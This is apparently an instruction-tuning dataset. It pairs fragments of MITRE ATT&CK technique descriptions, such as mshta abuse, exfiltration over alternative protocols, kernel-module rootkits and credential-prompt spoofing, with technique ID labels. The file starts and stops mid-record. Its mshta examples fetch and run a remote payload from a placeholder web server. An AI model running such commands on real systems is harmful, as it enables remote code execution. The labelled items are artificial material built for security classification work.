describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code> ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use.", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Mshta)", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Mshta) ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Asymmetric encryption algorithms are those that use different keys on each end of the channel.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Asymmetric encryption algorithms are those that use different keys on each end of the channel. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The public keys of each entity are exchanged before encrypted communications begin.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The public keys of each entity are exchanged before encrypted communications begin. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", "output": "T1048.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. ### Response: T1048.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)", "output": "T1048.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco) ### Response: T1048.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS).", "output": "T1048.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). ### Response: T1048.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.", "output": "T1048.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ### Response: T1048.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES)", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "vice using mechanisms that are baked into a protocol.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: vice using mechanisms that are baked into a protocol. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also opt to encrypt and/or obfuscate these alternate channels.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also opt to encrypt and/or obfuscate these alternate channels. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016)", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009). ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the kernel to automatically execute programs on system boot.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the kernel to automatically execute programs on system boot. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They extend the functionality of the kernel without the need to reboot the system.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They extend the functionality of the kernel without the need to reboot the system. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Developers without these privileges may still sign kexts but they will not load unless SIP is disabled.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System and kernel extensions in macOS)", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System and kernel extensions in macOS) ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Kernel Extension Deprecation)", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Kernel Extension Deprecation) ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system.", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CrowdStrike Linux Rootkit)(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CrowdStrike Linux Rootkit)(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub Reptile)(Citation:", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub Reptile)(Citation: ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)", "output": "T1547.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap) ### Response: T1547.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use methods of capturing user input to obtain credentials or collect information.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use methods of capturing user input to obtain credentials or collect information. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)). ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt.", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper)", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation:", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OSX Keydnap malware)(Citation: Spoofing credential dialogs)", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OSX Keydnap malware)(Citation: Spoofing credential dialogs) ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Do You Trust Oct 2014)(Citation:", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Do You Trust Oct 2014)(Citation: ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enigma Phishing for Credentials Jan 2015)(Citation:", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enigma Phishing for Credentials Jan 2015)(Citation: ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spoofing credential dialogs)", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spoofing credential dialogs) ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password.", "output": "T1097", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. ### Response: T1097."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos authentication can be used as the first step to lateral movement to a remote system.", "output": "T1097", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos authentication can be used as the first step to lateral movement to a remote system. 